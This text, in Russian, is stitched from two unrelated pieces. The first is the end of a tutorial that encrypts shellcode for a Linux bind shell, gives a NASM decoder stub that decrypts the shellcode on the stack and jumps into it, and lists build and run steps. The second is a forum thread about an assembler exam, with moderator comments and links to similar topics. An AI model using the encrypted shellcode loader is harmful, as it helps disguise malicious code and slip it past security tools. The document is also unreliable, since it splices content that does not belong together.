0x19,0x32,0xc3,0xb2,0xc3,0x82,0x0d,0xc3,0x8f,0xc3,0xb3,0x77,0xc2,0xbf,0x44,0x72,0x7c,0xc2,0xb8,0x23,0x0a,0xc2,0x91,0x4c,0xc3,0x85,0xc3,0x95,0xc3,0x8b,0x1b,0xc3,0xb6,0xc3,0x83,0x31,0xc3,0x93,0xc3,0xac,0x25,0xc2,0xb9,0xc3,0x91,0xc2,0x99,0x4b,0x5e,0xc3,0xaf,0xc2,0x83,0xc2,0x84,0xc2,0x8b,0xc3,0xa4,0xc2,0xbb,0xc2,0xa6,0x4c,0x45,0x30,0x7a,0x7a,0xc2,0x80,0x52,0xc3,0xac,0x6e,0xc3,0xbb,0xc2,0x8c,0x40,0x7d,0xc2,0xbb,0x54,0x1b,0xc3,0x90,0xc3,0xb6,0x7d,0xc2,0xb1,0xc3,0xb2,0x31,0x26,0x6f,0xc2,0xa4,0x5a,0xc3,0x8e,0xc2,0xac,0xc2,0x93,
***********************************KEY LENGTH************************************
105

Выведем на печать push-инструкции для нашего результата:

$python3 hex2stack.py 4af2f48df478632d902db527287245fb5d8f38accc18f7b4ccae29ffc514fc2dc614d5e12946c535068f392d921449b111c738a35042da18dd730a75c04b8719c5b93cab8b31554c7fb773fa8f0cb976f37ba483f2bf361ee5f1132c20ba09bf4b86ad4c6f72b78f13
	push 0x90909013
	push 0x8fb7726f
        ...

Заполним все необходимые параметры в asm-файле.

	section .text
global _start

_start:
	; push encrypted shellcode
	push 0x90909013
	push 0x8fb7726f
	push 0x4cad864b
	push 0xbf09ba20
	push 0x2c13f1e5
	push 0x1e36bff2
	push 0x83a47bf3
	push 0x76b90c8f
	push 0xfa73b77f
	push 0x4c55318b
	push 0xab3cb9c5
	push 0x19874bc0
	push 0x750a73dd
	push 0x18da4250
	push 0xa338c711
	push 0xb1491492
	push 0x2d398f06
	push 0x35c54629
	push 0xe1d514c6
	push 0x2dfc14c5
	push 0xff29aecc
	push 0xb4f718cc
	push 0xac388f5d
	push 0xfb457228
	push 0x27b52d90
	push 0x2d6378f4
	push 0x8df4f24a

	jmp getdata
next:	pop ebx

	mov esi, esp
	mov edi, esp
	; place key length
	mov ecx, 105

decrypt:
	lodsb
	sub al, byte [ebx]
	inc ebx
	stosb
	loop decrypt

	jmp esp
	; exit
	xor eax, eax
	mov al, 1
	xor ebx, ebx
	int 0x80


getdata: call next
	; Place key on next line
	key db 0x19,0x32,0xc3,0xb2,0xc3,0x82,0x0d,0xc3,0x8f,0xc3,0xb3,0x77,0xc2,0xbf,0x44,0x72,0x7c,0xc2,0xb8,0x23,0x0a,0xc2,0x91,0x4c,0xc3,0x85,0xc3,0x95,0xc3,0x8b,0x1b,0xc3,0xb6,0xc3,0x83,0x31,0xc3,0x93,0xc3,0xac,0x25,0xc2,0xb9,0xc3,0x91,0xc2,0x99,0x4b,0x5e,0xc3,0xaf,0xc2,0x83,0xc2,0x84,0xc2,0x8b,0xc3,0xa4,0xc2,0xbb,0xc2,0xa6,0x4c,0x45,0x30,0x7a,0x7a,0xc2,0x80,0x52,0xc3,0xac,0x6e,0xc3,0xbb,0xc2,0x8c,0x40,0x7d,0xc2,0xbb,0x54,0x1b,0xc3,0x90,0xc3,0xb6,0x7d,0xc2,0xb1,0xc3,0xb2,0x31,0x26,0x6f,0xc2,0xa4,0x5a,0xc3,0x8e,0xc2,0xac,0xc2,0x93,

Компилируем:

$nasm32 encrypted_bind

Получим опкод из файла:

$popcode encrypted_bind

Поместим всё это в shellcode.c, скомпилируем и запустим.

image

Ссылки

Все ссылки на файлы и примеры вы можете найти здесь.

Первоисточник.

0 / 0 / 0

Регистрация: 23.01.2014

Сообщений: 2

1

Экзамен по ассмеблеру

23.01.2014, 17:39. Показов 1446. Ответов 2


__________________
Помощь в написании контрольных, курсовых и дипломных работ, диссертаций здесь



0



Taatshi

24.01.2014, 01:44

 Комментарий администратора 
Катя-ИЭУ, одна тема — один вопрос. Задание перепечатывать на форум ручками — размещать в виде картинок запрещено.

Вдумчиво мое замечание прочитали — и начнем все с начала.

За спам своими ссылками по чужим темам в следующий раз выдам карту. Это предупреждение.



1



0 / 0 / 0

Регистрация: 23.01.2014

Сообщений: 2

25.01.2014, 10:09

 [ТС]

3

Прошу прощения.
первый раз на форуме..



0



IT_Exp

Эксперт

87844 / 49110 / 22898

Регистрация: 17.06.2006

Сообщений: 92,604

25.01.2014, 10:09

Помогаю со студенческими работами здесь

Экзамен
Помогите нужны ответы для экзаменов по С++. Теория
1 Какие виды пакетов бывают в С++
2 где…

Экзамен
Люди выручайте, кто чем может помочь, на след. недели экзамен по C++
А нам данный язык…

Экзамен по С++
Здравствуйте форумчане! Мне очень нужна ваша помощь, ибо не успеваю…У меня завтра экзамен, а мне…

Экзамен
Нужна создать программу.

Первый файл содержит: шифр оборудования,название оборудования, цена….

Искать еще темы с ответами

Или воспользуйтесь поиском по форуму:

3

Понравилась статья? Поделить с друзьями:
  • Экзамен по архитектурному проектированию
  • Экзамен по архитектурной графике в мгсу
  • Экзамен по архитектуре компьютерных систем
  • Экзамен по армянскому языку
  • Экзамен по античной литературе ответы